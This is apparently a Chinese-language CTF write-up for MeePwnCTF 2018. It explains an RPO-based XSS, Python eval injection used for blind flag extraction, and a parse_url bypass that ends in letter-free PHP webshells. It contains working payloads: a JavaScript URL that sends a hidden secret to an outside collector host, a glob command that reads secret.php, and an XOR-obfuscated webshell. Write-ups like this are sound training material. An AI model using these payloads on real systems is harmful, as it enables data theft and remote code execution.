前言

上周末打了 MeePwnCTF 2018,感觉还是非常有价值的一场比赛

Grandline

本题的考点是 RPO 攻击问题,关于 RPO 攻击的具体细节,可以自行 Google,这里不再做过多叙述

访问 http://178.128.6.184/3915ef41890b96cc883ba6ef06b944805c9650ee/index.php/?debug,可以获得页面源码:

<!-- 
/* * *  Power By 0xd0ff9 * * * 
--> 
<?php 
include "config.php"; 
if(isset($_GET['debug'])) 
{ 
    show_source(__FILE__); 
    die("..."); 
} 
?> 
<!DOCTYPE html> 
<html lang="en"> 
<head> 
  <title>The Two piece Treasure</title> 
  <meta charset="utf-8"> 
  <meta name="viewport" content="width=device-width, initial-scale=1"> 
  <!-- Latest compiled and minified CSS --> 
  <link rel="stylesheet" href="css/bootstrap.min.css"> 
  <!-- jQuery library --> 
  <script src="js/jquery.min.js"></script> 
  <!-- Latest compiled JavaScript --> 
  <script src="js/bootstrap.min.js"></script> 
</head> 
<body> 
<?php 
$grandline = $_SERVER['REQUEST_URI']; 
// Best Grandline is short 
$grandline = substr($grandline,0,500); 
echo "<!-- P/s: Your grand line is ".htmlentities(urldecode($grandline),ENT_QUOTES)." , this is not Luffy 's grand line -->"; 
?> 
<div class="container"> 
<div class="jumbotron"> 
    <h1>GRAND LINE</h1>  
    <p>Welcome to Grand Line, You are in the way to become Pirate King, now, let's defeat <a href="bot.php">BigMom</a> first</p>  
</div> 
<?php 
$loca = $_SERVER["REMOTE_ADDR"]; 
echo "<input name='location' value='".$loca."' type='hidden'><br>"; 
if ($loca === "127.0.0.1" || $loca==="::1") 
{ 
    echo "<input name='piece' value='".$secret."' type='hidden'>"; 
} 
else 
{ 
    echo "<input name='piece' value='Only whitebeard can see it, Gura gura gura' type='hidden'>"; 
} 
?> 
  <h4>If you eat fruit, you can't swim</h4> 
        <img src="images/grandline.png"/> 
        <br> 
        <form method="get" action="index.php"> 
        <input type="text" name="eat" placeholder="" value="gomu gomu no mi">         
        <input type="submit"> 
        </form> 
    <?php  
    if(isset($_GET['eat'])&&!empty($_GET['eat'])) 
    { 
        if($_GET['eat'] === "gomu gomu no mi") 
        { 
            echo "<p>Pirate, Let's go to your Grand Line</p>"; 
        } 
        else 
        { 
            echo "<p>You need to eat 'gomu gomu no mi'</p>"; 
        } 
    } 
     
    ?> 
</div> 
</body> 
</html> 
<!-- Infact, ?debug will help you learn expression to build Grand Line ( Ex: !<>+-*/ ) 
...

可以看到由于 htmlentities(urldecode($grandline),ENT_QUOTES) 的存在,使得我们直接闭合 HTML 标签的思路失败,那么这里是否存在其他可以利用的点呢?答案是肯定的,这里需要使用 RPO 攻击的方法

当我们访问 http://178.128.6.184/3915ef41890b96cc883ba6ef06b944805c9650ee/index.php/*/ 时,浏览器继续返回 index.php 的内容:

Grandline1

但我们需要注意的是,浏览器和服务器对于路径解析的差异,而这也是 RPO 攻击的核心所在:

Grandline2

http://178.128.6.184/3915ef41890b96cc883ba6ef06b944805c9650ee/index.php/*/js/jquery.min.js 的结果如下:

Grandline3

同样是 index.php 的内容!

这意味着这里存在着我们可以控制内容的 js 文件:jquery.min.js 和 bootstrap.min.js

下面需要思考的是如何通过控制 url 的方式使得 XSS 攻击生效

可以看到在开通和结尾,出题人故意留了两个相应的标记 /**/

<!-- 
/* * *  Power By 0xd0ff9 * * * 
--> 
...
<!-- Infact, ?debug will help you learn expression to build Grand Line ( Ex: !<>+-*/ )

此时我们可以通过手动闭合 js 注释标签的方式,构造 payload,在内部插入一段恶意的 js 代码即可

构造如下 payload,使得浏览器能够弹窗:

http://178.128.6.184/3915ef41890b96cc883ba6ef06b944805c9650ee/index.php//alert(1);(function()%7B%7D)(//

到这里为止,如何利用是一个很简单的事情了,我们只需要获得 <input name='piece' value='".$secret."' type='hidden'> 的值,然后再发到我们的服务器,即可获得 flag

这里需要注意的问题是,由于我们可以控制的 js 脚本是在 <head></head> 中加载的,所以存在的问题是我们不能直接使用 document.getElementsByName('piece')[0].value 尝试读取,否则会读取失败

此时我们能使用 window.onload 函数来满足我们需求,该函数在文档内容加载完毕后才会触发,这样可以避免无法获取元素的现象

payload:

http://178.128.6.184/3915ef41890b96cc883ba6ef06b944805c9650ee/index.php/*/window.onload=function()%7Bv=document.getElementsByName(%60piece%60)[0].value;(new Image()).src=`http://5ax2cw.ceye.io/`%2Bv;%7D;(function()%7B%7D)(/*/

PyCalx & PyCalx2

1

两道题核心考察的知识点都是 SQL 注入的思想,即通过构造字符串的方式使得程序泄漏出我们希望得到的信息

通过 http://178.128.96.203/cgi-bin/server.py?source=1 可以查看到相应的源代码

#!/usr/bin/env python
import cgi
import sys
from html import escape
FLAG = open('/var/www/flag','r').read()
OK_200 = """Content-type: text/html
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<center>
<title>PyCalx</title>
<h1>PyCalx</h1>
<form>
<input class="form-control col-md-4" type=text name=value1 placeholder='Value 1 (Example: 1  abc)' autofocus/>
<input class="form-control col-md-4" type=text name=op placeholder='Operator (Example: + - * ** / // == != )' />
<input class="form-control col-md-4" type=text name=value2 placeholder='Value 2 (Example: 1  abc)' />
<input class="form-control col-md-4 btn btn-success" type=submit value=EVAL />
</form>
<a href='?source=1'>Source</a>
</center>
"""
print(OK_200)
arguments = cgi.FieldStorage()
if 'source' in arguments:
    source = arguments['source'].value
else:
    source = 0
if source == '1':
    print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')
if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:
    def get_value(val):
        val = str(val)[:64]
        if str(val).isdigit(): return int(val)
        blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
        if val == '' or [c for c in blacklist if c in val] != []:
            print('<center>Invalid value</center>')
            sys.exit(0)
        return val
    def get_op(val):
        val = str(val)[:2]
        list_ops = ['+','-','/','*','=','!']
        if val == '' or val[0] not in list_ops:
            print('<center>Invalid op</center>')
            sys.exit(0)
        return val
    op = get_op(arguments['op'].value)
    value1 = get_value(arguments['value1'].value)
    value2 = get_value(arguments['value2'].value)
    if str(value1).isdigit() ^ str(value2).isdigit():
        print('<center>Types of the values don\'t match</center>')
        sys.exit(0)
    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
    print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
    print('>>>> print('+escape(calc_eval)+')')
    try:
        result = str(eval(calc_eval))
        if result.isdigit() or result == 'True' or result == 'False':
            print(result)
        else:
            print("Invalid") # Sorry we don't support output as a string due to security issue.
    except:
        print("Invalid")
    print('>>> </pre></div></div></div>')

很明显我们要想办法获得 FLAG 的值,而这在正常情况下我们是无法读取的,所以需要考虑构造相应的字符串,使得程序会对我们的输入和 FLAG 变量进行比较

经过一番研究后,发现可以尝试构造如下参数:

{
    op:"+'",
    value1:"Guess",
    value2:"<=FLAG#"
}

此时我们构造出了表达式 'Guess'+''<=FLAG#',在经过 python 的 eval 后对得到相应 TrueFalse 的结果

然后利用 python 字符串比较的规则,可以逐字节猜测 FLAG

之后会发现一个问题,即 FLAG 中存在不可猜测的字符,此时我们只猜完了一半的 FLAG,所以需要补充其他的变量

此时发现之前用于显示源代码的 source 变量也同样是可以利用的,所以考虑使用 source 变量

构造 payload 如下:

{
    op:"+'",
    source: "(",
    value1:"MeePwnCTF{python3.66666666666666_",
    value2:"+source<=FLAG#"
}

接下来的工作是使用脚本进行盲注即可

2

依旧可以获得源码:

#!/usr/bin/env python
import cgi
import sys
from html import escape
FLAG = open('/var/www/flag','r').read()
OK_200 = """Content-type: text/html
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<center>
<title>PyCalx</title>
<h1>PyCalx</h1>
<form>
<input class="form-control col-md-4" type=text name=value1 placeholder='Value 1 (Example: 1  abc)' autofocus/>
<input class="form-control col-md-4" type=text name=op placeholder='Operator (Example: + - * ** / // == != )' />
<input class="form-control col-md-4" type=text name=value2 placeholder='Value 2 (Example: 1  abc)' />
<input class="form-control col-md-4 btn btn-success" type=submit value=EVAL />
</form>
<a href='?source=1'>Source</a>
</center>
"""
print(OK_200)
arguments = cgi.FieldStorage()
if 'source' in arguments:
    source = arguments['source'].value
else:
    source = 0
if source == '1':
    print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')
if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:
    def get_value(val):
        val = str(val)[:64]
        if str(val).isdigit(): return int(val)
        blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
        if val == '' or [c for c in blacklist if c in val] != []:
            print('<center>Invalid value</center>')
            sys.exit(0)
        return val
    def get_op(val):
        val = str(val)[:2]
        list_ops = ['+','-','/','*','=','!']
        if val == '' or val[0] not in list_ops:
            print('<center>Invalid op</center>')
            sys.exit(0)
        return val
    op = get_op(get_value(arguments['op'].value))
    value1 = get_value(arguments['value1'].value)
    value2 = get_value(arguments['value2'].value)
    if str(value1).isdigit() ^ str(value2).isdigit():
        print('<center>Types of the values don\'t match</center>')
        sys.exit(0)
    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
    print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
    print('>>>> print('+escape(calc_eval)+')')
    try:
        result = str(eval(calc_eval))
        if result.isdigit() or result == 'True' or result == 'False':
            print(result)
        else:
            print("Invalid") # Sorry we don't support output as a string due to security issue.
    except:
        print("Invalid")
    print('>>> </pre></div></div></div>')

diff 之后发现对 op 做了更严格的过滤,意味着我们之前的 payload 无法使用

可以考虑使用 python3.6 的新特性,新的格式化字符串语法:f'{}',具体可以参考:Python3.6新的字符串格式化语法

可以考虑构造这样的 payload:

{
    op:"+f",
    source:"MeePwnCTF",
    value1:"True",
    value2:"{sys.__package__ if source <= FLAG else 0/0}"
}

此时我们构造出了类似报错注入的表达式:'True'+f'{sys.__package__ if source <= FLAG else 0/0}'

由于 sys.__package__ 等于 '',所以如果比较的结果正确,页面将显示 True,错误将显示 Invalid

继续使用脚本即可爆破出 flag

poc

相应脚本如下:solve.py

OmegaSector

首先是 http://138.68.228.12/?is_debug=1 有源码泄漏:

<?php 
ob_start(); 
session_start(); 
?> 
<html> 
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> 
<head> 
  <link rel="stylesheet" href="assets/omega_sector.css"> 
  <link rel="stylesheet" href="assets/tsu_effect.css"> 
</head> 
<?php 
ini_set("display_errors", 0); 
include('secret.php'); 
$remote=$_SERVER['REQUEST_URI']; 
if(strpos(urldecode($remote),'..')) 
{ 
mapl_die(); 
} 
if(!parse_url($remote, PHP_URL_HOST)) 
{ 
    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; 
} 
$whoareyou=parse_url($remote, PHP_URL_HOST); 
if($whoareyou==="alien.somewhere.meepwn.team") 
{ 
    if(!isset($_GET['alien'])) 
    { 
        $wrong = <<<EOF 
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> 
<h1 id="main" class="shadow">Are You ALIEN??</h1> 
<form id="main"> 
    <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> 
    <button type="submit" class="button-error" name="alien" value="No">No</button> 
</form> 
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 
EOF; 
        echo $wrong; 
    } 
    if(isset($_GET['alien']) and !empty($_GET['alien'])) 
    { 
         if($_GET['alien']==='@!#$@!@@') 
        { 
            $_SESSION['auth']=hash('sha256', 'alien'.$salt); 
            exit(header( "Location: alien_sector.php" )); 
        } 
        else 
        { 
            mapl_die(); 
        } 
    } 
} 
elseif($whoareyou==="human.ludibrium.meepwn.team") 
{ 
     
    if(!isset($_GET['human'])) 
    { 
        echo ""; 
        $wrong = <<<EOF 
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> 
<h1 id="main" class="shadow">Are You Human?</h1> 
<form id="main"> 
    <button type="submit" class="button-success" name="human" value="Yes">Yes</button> 
    <button type="submit" class="button-error" name="human" value="No">No</button> 
</form> 
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 
EOF; 
        echo $wrong; 
    } 
    if(isset($_GET['human']) and !empty($_GET['human'])) 
    { 
         if($_GET['human']==='Yes') 
        { 
            $_SESSION['auth']=hash('sha256', 'human'.$salt); 
            exit(header( "Location: omega_sector.php" )); 
        } 
        else 
        { 
            mapl_die(); 
        } 
    } 
} 
else 
{ 
    echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; 
    echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />'; 
    if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1") 
    { 
        show_source(__FILE__); 
    } 
} 
?> 
<body background="assets/background.jpg" class="cenback"> 
</body> 
<!-- is_debug=1 --> 
<!-- All images/medias credit goes to nexon, wizet --> 
</html> 
<?php ob_end_flush(); ?>

第一步需要绕过的是 parse_url 的校验,使得我们能够访问 omega_sector.php 和 alien_sector.php 两个页面

这里存在的问题是 $_SERVER['REQUEST_URI']; 对应解析的是 GET 后面的字符串,而这其实是我们可以控制的,所以可以通过 burp 抓包的方式进行修改

GET http://alien.somewhere.meepwn.team?alien=%40!%23%24%40!%40%40 HTTP/1.1
Host: 138.68.228.12
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bihn4hd7oi3i59rjh7e5ejtat2
Connection: close

进入这两个页面后,我们能够发现,alien_sector.php 仅限写入除数字字母外的字符,而 omega_sector.php 仅限写入数字和字母

alien_sector

但由于我们的提交的文件名是任意可控的,所以依旧可以尝试构造无字母的 webshell,这里是 32C3 的 idea:

<?=`*`;

这里会将 `` 内的内容当作 linux 上的命令来执行,具体可以参考:

32C3 CTF两个Web题目的Writeup

所以我们可以尝试构造 /???/??? ../??????.??? 来尝试执行 /bin/cat ../secret.php

此时可以读到相应 secret.php 的源码:

<?php
$salt='G0g0_M3s0sr4ng3rS_1337';
$omega_sector_flag="MeePwnCTF{__133-221-333-123-111___}";
//Don't attack further after captured our flag, or we will find you and we will kill you... oops, i mean ban you ^_^.
function mapl_die(){
    $wrong = <<<EOF
<body background="assets/wrong.jpg" class="cenback"></body>
EOF;
    die($wrong);
}
?>

或者是通过字符串异或的方式拼接 webshell:

<?=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // <?php $_GET[_]($_GET[__]);

当然这里还可以继续 32C3 的思路,使用控制文件名的方式来构造 webshell,但更为复杂,在此掠过不表。